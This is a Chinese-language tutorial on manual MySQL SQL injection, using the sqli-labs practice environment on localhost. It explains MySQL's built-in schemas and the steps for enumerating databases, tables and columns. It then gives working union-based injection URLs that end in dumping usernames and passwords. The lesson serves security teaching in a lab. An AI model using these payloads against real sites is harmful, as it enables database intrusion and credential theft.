今天我们接着以sqli-labs实验环境的mysql数据库为例来讲解mysql数据库手工注入的方法和流程。mysql数据库是一个强大和使用广泛的数据库,它分为社区版和商业版,而且开放源码。这节课开始之前,先给大家介绍下mysql数据库的结构以及它强大的内置库。
MYSQL数据库的结构以及内置库
mysql数据库主要是由连接层、SQL层和存储引擎层组成的。其中连接层主要负责处理通讯协议、线程、身份数据验证等工作,SQL层主要是作为解析器和优化器、负责执行查询、权限管理、高速缓存查询、日志记录查询等工作,而存储引擎层主要是对接磁盘、内存和网络接口。
mysql 5.7及以上版本的内置库主要包括mysql、sys、performance_schema和information_schema这4个库,这4个内置库需要我们深入了解,特别是information_schema,这对我们进行mysql注入非常有帮助。
mysql:它保存了数据库的账户信息、权限信息,还有存储过程、时区、事件等内容;
sys:这个库包含了存储过程、用户的自定义函数以及视图,它可以帮助我们快速了解系统的元数据信息;
performance_schema:这个库用于收集数据库服务器的性能参数;
information_schema:它提供了访问数据库元数据的方式,它保存了关于mysql服务器所维护的所有其他数据库的信息,如库名、库表、表的数据类型以及访问权限等。这个库非常好用,通过它,我们可以窥知整个数据库的所有信息,它是我们进行mysql注入的重要工具。
MYSQL数据库手工注入的步骤及语法
我们进行SQL注入,通常都会有查看数据库版本信息、查看当前库、查找敏感表、查列和查数据这几个步骤。可以说,SQL注入都是基于查库、表、列这些语句的。但是SQL注入不会是我们安全测试的最终目的,在注入完成后,可能我们还要进行命令执行、提权等工作。SQL注入的通用步骤如下。
1、查询数据库的名称:
select schema_name from information_schema.schemata
2、查询某个库的表名,注意库名要使用单引号扩起来,也可以使用十六进制表示(特别是被过滤了单引号后):
select table_name from information_schema.tables where table_schema='库名'
3、查询某个表的列名:
select column_name from information_schema.columns where table_name='表名' (在具备数据库权限的时候,等同于desc 表名)
4、查数据:
select 列名 from 库名.表名
如果在使用以上查询语句查询到结果数据太多,导致页面无法返回我们想要的查询结果,那么我们可以使用limit函数来限定查询结果返回的数量和位置,来依次拿到我们想要查看的数据。又或者可以使用concat/group_concat函数,把多条数据组合成一条数据。后面的实验将会介绍这几个函数的用法。
实验演示
下面我们开启sqli-labs的实验环境进行演示。
1、首先启动sqli-labs,重置数据库连接,打开第一关
2、根据提示,探测是否存在注入漏洞
http://127.0.0.1/Less-1/?id=1' 报错
3、构造简单的真假语句,确认系统存在SQL注入漏洞
http://127.0.0.1/Less-1/?id=1' and '1'='1 正常
http://127.0.0.1/Less-1/?id=1' and '1'='2 报错
也可以查看数据库版本、系统用户、当前库等
http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select version())--+
http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select user())--+
http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select database())--+
4、使用order by来确定当前库当前表的列数
5、构造一个不存在的id值,寻找页面可以回显数据的地方
4、查库:
http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select schema_name from information_schema.schemata)--+
提示:Subquery returns more than 1 row
使用group_concat来组合查询结果:
http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+
5、查表:
http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
或者使用database()函数查询当前库的表
http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
6、查列:
http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
7、查数据:
http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(username,'--',password) from security.users)--+
对于实验里面使用的union、order by、limit、concat和group_concat的用法,建议大家可以上网找找教程自行学习,不用深入学习,理解和掌握用法就好。